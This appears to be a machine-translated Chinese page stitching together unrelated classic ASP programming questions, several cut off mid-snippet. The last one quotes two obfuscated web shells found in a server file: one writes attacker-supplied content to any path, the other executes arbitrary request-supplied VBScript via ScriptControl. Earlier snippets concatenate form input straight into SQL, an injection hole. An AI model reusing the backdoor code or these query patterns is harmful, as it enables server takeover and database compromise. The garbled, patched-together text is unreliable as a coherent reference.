标签: asp-classic

我需要能够从服务器端经典 ASP 代码将文件发送到另一个网站。另一个网站有一个带有文件上传控件的表单，我需要模拟发布到该表单。

我找到了一些看起来非常适合这里工作的示例代码，并且它上传文件没有错误，但是接收到的文件无效，当我在另一台服务器上检查它时，文件的开头在二进制数据具有部分内容之前在其中发布了不应该存在的数据，例如：

\n

目录类型：image/jpeg
\n Content-Disposition：表单数据；名称=“文件”；文件名=“archivebox.jpg”

\n\n

\xc3\xbf\xc3\x98\xc3\xbf\xc3\xa0...

\n

当我通过表单上传数据时，接收网站代码工作正常，因此看起来问题肯定出在上面的代码上。

如果此代码不起作用，其他人可以向我指出另一个以这种方式提交文件的示例吗？

我正在运行一个相当长的 SQL 查询，其核心非常基本：

SELECT * FROM documents WHERE doc_id IN (995,941,940,954,953,973)

此查询的目标结果是按照 IN 子句中设置的顺序显示文档。但是，我还没有找到一个干净的解决方案来这样做。

我想我可以使用 charindex() 来处理这个问题。

ORDER BY charindex('995,941,940,954,953,973',doc_id)

ORDER BY 的结果只是按照默认的 ASC 顺序对 doc_ids 进行排序。

有关如何具体定义此查询的结果顺序的任何指导吗？

我正在尝试检查数据库中是否存在记录。如果存在则丢弃插入功能。如果记录不存在则插入。

我得到了相反的效果。

<% 
Set OBJdbConnection = Server.CreateObject("ADODB.Connection")  
OBJdbConnection.open MM_Listings_STRING

'1. Check if contractor is linked
SQLQuery1 = "Select * FROM Agent_Contractor WHERE ContractorID = " &_
Request.Form("ContractorID") & " AND AgentID = " & Session("AgentID") 

Set Results = OBJdbConnection.Execute(SQLQuery1)

'1. If linked response write. 
If Results.EOF  Then
  Response.Write "Contractor Already Linked"
else
  '1. Insert
  SQLQuery3 = "INSERT INTO Agent_Contractor (" &_
  "ContractorID, " &_
  "AgentID) VALUES (" &_
  Request.Form("ContractorID") & ", " &_
  Session("AgentID") & ")"

  OBJdbConnection.Execute(SQLQuery3)    
  Response.Write "Contractor Linked …

我正在使用 Visual Studio 代码来编辑经典的 asp 页面。

为了不破坏一切，我需要使用 Windows 1252 编码读取和写入 .asp 文件。

有什么方法可以配置它吗？如果可以在文件夹/项目/工作区的基础上完成，那就太好了。

    set qv = createobject("adodb.recordset")
q ="select * from tbl order by ID"
qv.open q,QuoteConn,3,1,1
    qv.movelast
    qid=qv("ID")
qv.close

编辑:

哇哇,你们都开玩笑了.在2009年,我维护这段代码......

我有三列column(0),column(1),column(2),我希望这行中的这三列的标记:"strNewContents = strNewContents&""&columns(0)&""&columns (1)&""&columns(2)&""&vbcrlf:"

实际代码:

Dim strFileName1
Dim objFSO, objTextFile
Dim intLineNumber, strNewContents, strReadLineText,strLineNumbers
dim data, columns

strFileName1 = "saveimagename.txt"

Const ForReading = 1
Const ForWriting = 2

Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objTextFile = objFSO.OpenTextFile(Server.MapPath(strFileName1))

intLineNumber = 0
strLineNumbers = ""

data = split(objTextFile.readall(), vbcrlf)

for intLineNumber = 0 to ubound(data)
    columns = split(data(intLineNumber), ",", 3)
    if (ubound(columns) = 2) then
       ''//strNewContents =  "<td class='red'>" & columns(0) & "</td><td class='blue'>" & columns(2) & "</td>" 
       strNewContents = strNewContents & "<tr><td>" …

我想知道是否有任何工具可以在win 7 64位机器上运行,将我的经典asp站点转换为C#中的Web Form/MVC.我发现在Framework 1.1中有一个转换它的工具,但它不能很好地工作.

有人可以建议吗？

我在我的一个页面上成功使用了这个计算脚本,但是当我在另一个页面中重用它时.该页继续说"未捕获的TypeError:无法读取未定义的属性'值'"我不明白这个脚本有什么问题.那么请你帮帮我吧.谢谢.

<script>
function startCalc(){ //automatically calculate total after discount when adding new order
  interval = setInterval("calc()",1);
}
function calc(){
 // for calculate each product order
 var price;
 var qty;
 var od_total;
  price = document.myform.od_price.value;
  qty = document.myform.od_qty.value; 
  od_total = (price * 1) * (qty * 1);
  document.myform.od_total.value = od_total.toFixed(2);  
}

function stopCalc(){
  clearInterval(interval);
}
</script>

我用过这个脚本

<input id="od_qty" name="od_qty" type="text" size="8" value="" maxlength="100" onFocus="startCalc();" onBlur="stopCalc();">
<input id="od_price" type="text" size="4" value="<%=rs.fields.item("cust_price")%>" onFocus="startCalc();" onBlur="stopCalc();"  >
<input id="od_total"  name="od_total" type="text" size="10" value="" maxlength="100" …

我已经对这个问题的一些其他回答进行了巡航和实施,但我仍然没有运气.我仍然得到错误.

    If ((bReport And bIsDate And CheckPermissions("lotsales")) Or Request.QueryString("report")) Then
    OpenDB
    Dim oRs, sSQL, sSQL2, iCancellations, iSales, sDate, sInitDate, sEndDate, iPhaseID, iPhaseNumber, rowCount

    sInitDate = Request("startDate")
    sEndDate = Request("endDate")
    sSQL = "sp_get_lot_sales_test '" & sInitDate & "', '" & sEndDate & "', " & sPhase & ", '" & sReportView & "'"

    'response.write vbNewLine & "<!-- sql: " & sSQL & "-->" & vbNewLine
    'response.write sSQL
    'response.Flush
    Set oRs = ExecuteCommand(sSQL,1) 
End If

然后是错误发生的地方 -

If (oRs.EOF) Then <-- fails …

我在服务器中找到了一个名为foot.asp的文件,其中包含此代码.

这段代码做了什么:

<span>&nbsp;</span>
<%set s=server.createObject("A"&"do"&"db.St"&"re"&"am")%> 
<%s.Type=2%> 
<%s.Open%> 
<%s.CharSet="utf-8"%> 
<%s.writetext request("hkfox360")%> 
<%s.SaveToFile request("tofile"),2%> 
<%s.Close%> 
<%set s=nothing%>

另一个代码:

<a>&nbsp;</a>
<% 
Set o = Server.CreateObject("Sc"&"ri"&"ptC"&"ont"&"rol") 
o.language = "vb"&"scr"&"i"&"pt" 
o.addcode(Request("Sj"&"C"&"od"&"e"))
o.run "e",Server,Response,Request,Application,Session,Error
%>